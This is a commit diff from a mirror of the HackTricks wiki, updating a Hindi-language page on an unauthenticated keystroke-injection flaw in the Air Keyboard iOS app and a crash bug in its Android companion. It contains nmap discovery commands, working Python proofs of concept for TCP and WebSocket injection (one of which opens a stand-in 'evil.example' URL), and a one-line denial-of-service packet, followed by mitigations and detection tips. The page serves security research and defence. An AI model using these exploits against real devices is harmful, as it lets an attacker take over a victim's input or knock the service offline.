mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/ios-pentesting/air-keyboard-remote-in
This commit is contained in:
parent
16ffc013fb
commit
853d5f0057
@ -1,19 +1,26 @@
|
||||
# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)
|
||||
# Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## TL;DR
|
||||
|
||||
वाणिज्यिक "Air Keyboard" एप्लिकेशन (App Store ID 6463187929) का iOS संस्करण **पोर्ट 8888 पर एक स्पष्ट-टेक्स्ट TCP सेवा** खोलता है जो **कोई प्रमाणीकरण** किए बिना कीस्ट्रोक फ़्रेम स्वीकार करता है।
|
||||
एक ही Wi-Fi नेटवर्क पर कोई भी डिवाइस उस पोर्ट से कनेक्ट कर सकता है और पीड़ित के फोन में मनचाहा कीबोर्ड इनपुट इंजेक्ट कर सकता है, जिससे **पूर्ण दूरस्थ इंटरैक्शन हाइजैकिंग** प्राप्त होती है।
|
||||
iOS संस्करण का वाणिज्यिक **“Air Keyboard”** एप्लिकेशन (App Store ID 6463187929) एक स्थानीय-नेटवर्क सेवा को उजागर करता है जो **कोई प्रमाणीकरण या मूल सत्यापन के बिना कीस्ट्रोक फ़्रेम स्वीकार करता है**। स्थापित संस्करण के आधार पर, सेवा या तो है:
|
||||
|
||||
एक साथी Android बिल्ड **पोर्ट 55535** पर सुनता है। यह एक कमजोर AES-ECB हैंडशेक करता है, लेकिन तैयार किया गया कचरा **OpenSSL डिक्रिप्शन रूटीन में एक अनहैंडल्ड अपवाद** का कारण बनता है, जिससे बैकग्राउंड सेवा क्रैश हो जाती है (**DoS**).
|
||||
* **≤ 1.0.4** – **port 8888** पर कच्चा TCP श्रोता जो 2-बाइट लंबाई हेडर की अपेक्षा करता है, इसके बाद *device-id* और ASCII पेलोड होता है।
|
||||
* **≥ 1.0.5 (जून 2025)** – *same* port (**8888**) पर **WebSocket** श्रोता जो **JSON** कुंजी जैसे `{"type":1,"text":"…"}` को पार्स करता है।
|
||||
|
||||
## 1. Service Discovery
|
||||
इसलिए, एक ही Wi-Fi / सबनेट पर कोई भी डिवाइस **पीड़ित के फोन में मनमाना कीबोर्ड इनपुट इंजेक्ट कर सकता है, पूर्ण दूरस्थ इंटरैक्शन हाईजैकिंग प्राप्त कर सकता है**।
|
||||
एक साथी Android बिल्ड **port 55535** पर सुनता है। यह एक कमजोर AES-ECB हैंडशेक करता है लेकिन तैयार किया गया कचरा फिर भी **OpenSSL के अंदर एक अनहैंडल्ड अपवाद** का कारण बनता है, बैकग्राउंड सेवा को क्रैश कर देता है (**DoS**).
|
||||
|
||||
स्थानीय नेटवर्क को स्कैन करें और ऐप्स द्वारा उपयोग किए जाने वाले दो निश्चित पोर्ट की तलाश करें:
|
||||
> यह सुरक्षा दोष **लेखन के समय (जुलाई 2025) पर अभी भी पैच नहीं किया गया है** और एप्लिकेशन App Store में उपलब्ध है।
|
||||
|
||||
---
|
||||
|
||||
## 1. सेवा खोज
|
||||
|
||||
स्थानीय नेटवर्क को स्कैन करें और ऐप्स द्वारा उपयोग किए जाने वाले दो निश्चित पोर्टों की तलाश करें:
|
||||
```bash
|
||||
# iOS (input-injection)
|
||||
# iOS (unauthenticated input-injection)
|
||||
nmap -p 8888 --open 192.168.1.0/24
|
||||
|
||||
# Android (weakly-authenticated service)
|
||||
@ -21,72 +28,146 @@ nmap -p 55535 --open 192.168.1.0/24
|
||||
```
|
||||
Android हैंडसेट पर आप स्थानीय रूप से जिम्मेदार पैकेज की पहचान कर सकते हैं:
|
||||
```bash
|
||||
adb shell netstat -tulpn | grep 55535 # no root required on emulator
|
||||
|
||||
adb shell netstat -tulpn | grep 55535 # no root required on emulator
|
||||
# rooted device / Termux
|
||||
netstat -tulpn | grep LISTEN
|
||||
ls -l /proc/<PID>/cmdline # map PID → package name
|
||||
ls -l /proc/<PID>/cmdline # map PID → package name
|
||||
```
|
||||
## 2. फ्रेम प्रारूप (iOS)
|
||||
On **jailbroken iOS** आप `lsof -i -nP | grep LISTEN | grep 8888` के साथ कुछ समान कर सकते हैं।
|
||||
|
||||
बाइनरी `handleInputFrame()` रूटीन के अंदर निम्नलिखित पार्सिंग लॉजिक को प्रकट करती है:
|
||||
---
|
||||
|
||||
## 2. प्रोटोकॉल विवरण (iOS)
|
||||
|
||||
### 2.1 विरासत (≤ 1.0.4) – कस्टम बाइनरी फ्रेम
|
||||
```
|
||||
[length (2 bytes little-endian)]
|
||||
[device_id (1 byte)]
|
||||
[payload ASCII keystrokes]
|
||||
```
|
||||
घोषित लंबाई में `device_id` बाइट शामिल है **लेकिन** दो-बाइट हेडर स्वयं शामिल नहीं है।
|
||||
घोषित *लंबाई* में `device_id` बाइट **लेकिन नहीं** दो-बाइट हेडर शामिल है।
|
||||
|
||||
### 2.2 वर्तमान (≥ 1.0.5) – JSON ओवर WebSocket
|
||||
|
||||
संस्करण 1.0.5 चुपचाप WebSockets पर माइग्रेट हो गया जबकि पोर्ट नंबर अपरिवर्तित रखा। एक न्यूनतम कीस्ट्रोक इस तरह दिखता है:
|
||||
```json
|
||||
{
|
||||
"type": 1, // 1 = insert text, 2 = special key
|
||||
"text": "open -a Calculator\n",
|
||||
"mode": 0,
|
||||
"shiftKey": false,
|
||||
"selectionStart": 0,
|
||||
"selectionEnd": 0
|
||||
}
|
||||
```
|
||||
कोई हैंडशेक, टोकन या सिग्नेचर की आवश्यकता नहीं है - पहला JSON ऑब्जेक्ट पहले से ही UI इवेंट को ट्रिगर करता है।
|
||||
|
||||
---
|
||||
|
||||
## 3. शोषण PoC
|
||||
|
||||
### 3.1 लक्षित करना ≤ 1.0.4 (कच्चा TCP)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
|
||||
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
|
||||
import socket, sys
|
||||
|
||||
target_ip = sys.argv[1] # e.g. 192.168.1.50
|
||||
keystrokes = b"open -a Calculator\n" # payload visible to the user
|
||||
target_ip = sys.argv[1] # e.g. 192.168.1.50
|
||||
keystrokes = b"open -a Calculator\n" # payload visible to the user
|
||||
|
||||
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
|
||||
frame += b"\x01" # device_id = 1 (hard-coded)
|
||||
frame += b"\x01" # device_id = 1 (hard-coded)
|
||||
frame += keystrokes
|
||||
|
||||
with socket.create_connection((target_ip, 8888)) as s:
|
||||
s.sendall(frame)
|
||||
print("Injected", keystrokes)
|
||||
print("[+] Injected", keystrokes)
|
||||
```
|
||||
कोई भी प्रिंट करने योग्य ASCII (जिसमें `\n`, `\r`, विशेष कुंजी, आदि शामिल हैं) भेजा जा सकता है, प्रभावी रूप से हमलावर को भौतिक उपयोगकर्ता इनपुट के समान शक्ति प्रदान करता है: ऐप्स लॉन्च करना, IM भेजना, फ़िशिंग URL पर जाना, आदि।
|
||||
### 3.2 लक्ष्य ≥ 1.0.5 (WebSocket)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
|
||||
import json, sys, websocket # `pip install websocket-client`
|
||||
|
||||
target_ip = sys.argv[1]
|
||||
ws = websocket.create_connection(f"ws://{target_ip}:8888")
|
||||
ws.send(json.dumps({
|
||||
"type": 1,
|
||||
"text": "https://evil.example\n",
|
||||
"mode": 0,
|
||||
"shiftKey": False,
|
||||
"selectionStart": 0,
|
||||
"selectionEnd": 0
|
||||
}))
|
||||
ws.close()
|
||||
print("[+] URL opened on target browser")
|
||||
```
|
||||
*कोई भी प्रिंट करने योग्य ASCII — जिसमें लाइन-फीड, टैब और अधिकांश विशेष कुंजी शामिल हैं — भेजी जा सकती हैं, जिससे हमलावर को भौतिक उपयोगकर्ता इनपुट के समान शक्ति मिलती है: ऐप्स लॉन्च करना, IM भेजना, दुर्भावनापूर्ण URL खोलना, सेटिंग्स टॉगल करना, आदि।*
|
||||
|
||||
---
|
||||
|
||||
## 4. Android Companion – Denial-of-Service
|
||||
|
||||
Android पोर्ट (55535) एक 4-चरित्र पासवर्ड की अपेक्षा करता है जो **hard-coded AES-128-ECB कुंजी** के साथ एन्क्रिप्ट किया गया है, इसके बाद एक यादृच्छिक nonce होता है। पार्सिंग त्रुटियाँ `AES_decrypt()` में ऊपर उठती हैं और पकड़ी नहीं जातीं, जिससे लिस्नर थ्रेड समाप्त हो जाता है। इसलिए, एक ही गलत पैकेट पर्याप्त है ताकि वैध उपयोगकर्ता डिस्कनेक्टेड रहें जब तक कि प्रक्रिया को फिर से लॉन्च नहीं किया जाता।
|
||||
Android पोर्ट (55535) एक **4-चरित्र पासवर्ड की अपेक्षा करता है जो एक हार्ड-कोडेड AES-128-ECB कुंजी के साथ एन्क्रिप्ट किया गया है** और उसके बाद एक यादृच्छिक nonce होता है। पार्सिंग त्रुटियाँ `AES_decrypt()` में उठती हैं और पकड़ी नहीं जातीं, जिससे लिस्नर थ्रेड समाप्त हो जाता है। इसलिए एक ही गलत पैकेट वैध उपयोगकर्ताओं को डिस्कनेक्टेड रखने के लिए पर्याप्त है जब तक कि प्रक्रिया को फिर से लॉन्च नहीं किया जाता।
|
||||
```python
|
||||
import socket
|
||||
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
```
|
||||
## 5. मूल कारण
|
||||
---
|
||||
|
||||
1. **आने वाले फ़्रेमों पर कोई मूल / अखंडता जांच** (iOS)।
|
||||
## 5. संबंधित ऐप्स – एक आवर्ती एंटी-पैटर्न
|
||||
|
||||
Air Keyboard **एक अलग मामला नहीं है**। अन्य मोबाइल “रिमोट कीबोर्ड/माउस” उपयोगिताएँ भी इसी दोष के साथ आई हैं:
|
||||
|
||||
* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 अनधिकृत कमांड निष्पादन और प्लेन-टेक्स्ट की-लॉगिंग की अनुमति देता है।
|
||||
* **PC Keyboard ≤ 30** – CVE-2022-45479/80 अनधिकृत RCE और ट्रैफिक स्नूपिंग।
|
||||
* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 डिफ़ॉल्ट-नो-पासवर्ड, कमजोर PIN ब्रूट-फोर्स और क्लियर-टेक्स्ट लीक।
|
||||
|
||||
ये मामले **मोबाइल ऐप्स पर नेटवर्क-फेसिंग हमले की सतहों** की प्रणालीगत उपेक्षा को उजागर करते हैं।
|
||||
|
||||
---
|
||||
|
||||
## 6. मूल कारण
|
||||
|
||||
1. **आने वाले फ्रेम पर कोई मूल/अखंडता जांच नहीं** (iOS)।
|
||||
2. **क्रिप्टोग्राफिक दुरुपयोग** (स्थिर कुंजी, ECB, लंबाई सत्यापन की कमी) और **अपवाद प्रबंधन की कमी** (Android)।
|
||||
3. **उपयोगकर्ता-प्रदानित लोकल-नेटवर्क अधिकार ≠ सुरक्षा** – iOS LAN ट्रैफिक के लिए रनटाइम सहमति मांगता है, लेकिन यह उचित प्रमाणीकरण का विकल्प नहीं है।
|
||||
|
||||
## 6. शमन और सख्ती के विचार
|
||||
---
|
||||
|
||||
* मोबाइल हैंडसेट पर कभी भी बिना प्रमाणीकरण सेवाएँ न दिखाएँ।
|
||||
* ऑनबोर्डिंग के दौरान प्रति-डिवाइस रहस्यों को निकालें और इनपुट प्रोसेसिंग से पहले उन्हें सत्यापित करें।
|
||||
* श्रोता को `127.0.0.1` से बाइंड करें और दूरस्थ नियंत्रण के लिए आपसी प्रमाणीकरण, एन्क्रिप्टेड परिवहन (जैसे, TLS, Noise) का उपयोग करें।
|
||||
* मोबाइल सुरक्षा समीक्षाओं के दौरान अप्रत्याशित खुले पोर्ट का पता लगाएँ (`netstat`, `lsof`, `frida-trace` पर `socket()` आदि)।
|
||||
* एक अंतिम उपयोगकर्ता के रूप में: Air Keyboard को अनइंस्टॉल करें या इसका उपयोग केवल विश्वसनीय, अलग Wi-Fi नेटवर्क पर करें।
|
||||
## 7. हार्डनिंग और रक्षात्मक उपाय
|
||||
|
||||
## पहचान चीट-शीट (Pentesters)
|
||||
डेवलपर सिफारिशें:
|
||||
|
||||
* **`127.0.0.1`** पर लिस्नर को बाइंड करें और यदि रिमोट कंट्रोल की आवश्यकता हो तो **mTLS** या **Noise XX** के माध्यम से टनल करें।
|
||||
* **ऑनबोर्डिंग के दौरान प्रति-डिवाइस रहस्यों को निकालें** (जैसे, QR कोड या पेयरिंग PIN) और इनपुट प्रोसेसिंग से पहले *आपसी* प्रमाणीकरण को लागू करें।
|
||||
* **Apple Network Framework** को *NWListener* + TLS के साथ अपनाएँ, कच्चे सॉकेट के बजाय।
|
||||
* फ्रेम को डिक्रिप्ट या डिकोड करते समय **लंबाई-प्रमुख सैनीटी जांच** और संरचित अपवाद प्रबंधन लागू करें।
|
||||
|
||||
ब्लू-/रेड-टीम त्वरित जीत:
|
||||
|
||||
* **नेटवर्क शिकार:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` या Wireshark फ़िल्टर `tcp.port == 8888`।
|
||||
* **रनटाइम निरीक्षण:** Frida स्क्रिप्ट हुकिंग `socket()`/`NWConnection` अप्रत्याशित लिस्नरों की सूची बनाने के लिए।
|
||||
* **iOS ऐप प्राइवेसी रिपोर्ट (सेटिंग्स ▸ प्राइवेसी और सुरक्षा ▸ ऐप प्राइवेसी रिपोर्ट)** उन ऐप्स को उजागर करती है जो LAN पते से संपर्क करती हैं – धोखाधड़ी सेवाओं को पहचानने के लिए उपयोगी।
|
||||
* **मोबाइल EDRs** पोर्ट 8888 पर क्लियर-टेक्स्ट TCP पेलोड्स के लिए JSON कुंजी `"selectionStart"`, `"selectionEnd"` के लिए सरल Yara-L नियम जोड़ सकते हैं।
|
||||
|
||||
---
|
||||
|
||||
## डिटेक्शन चीट-शीट (पेंटेस्टर्स)
|
||||
```bash
|
||||
# Quick one-liner to locate vulnerable devices in a /24
|
||||
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
|
||||
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
|
||||
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
|
||||
| awk '/Ports/{print $2 " " $4}'
|
||||
|
||||
# Inspect running sockets on a connected Android target
|
||||
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
|
||||
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
|
||||
echo -n \"$p → \"; cat /proc/$p/cmdline; done"
|
||||
```
|
||||
---
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [Air Keyboard iOS ऐप में रिमोट इनपुट इंजेक्शन कमजोरियों का अभी तक पैच नहीं हुआ](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
||||
- [CXSecurity सलाह WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015)
|
||||
- [Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 Remote Input Injection](https://www.exploit-db.com/exploits/52333)
|
||||
- [Mobile-Hacker Blog (17 Jul 2025) – Air Keyboard iOS App में Remote Input Injection Vulnerability अभी भी Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user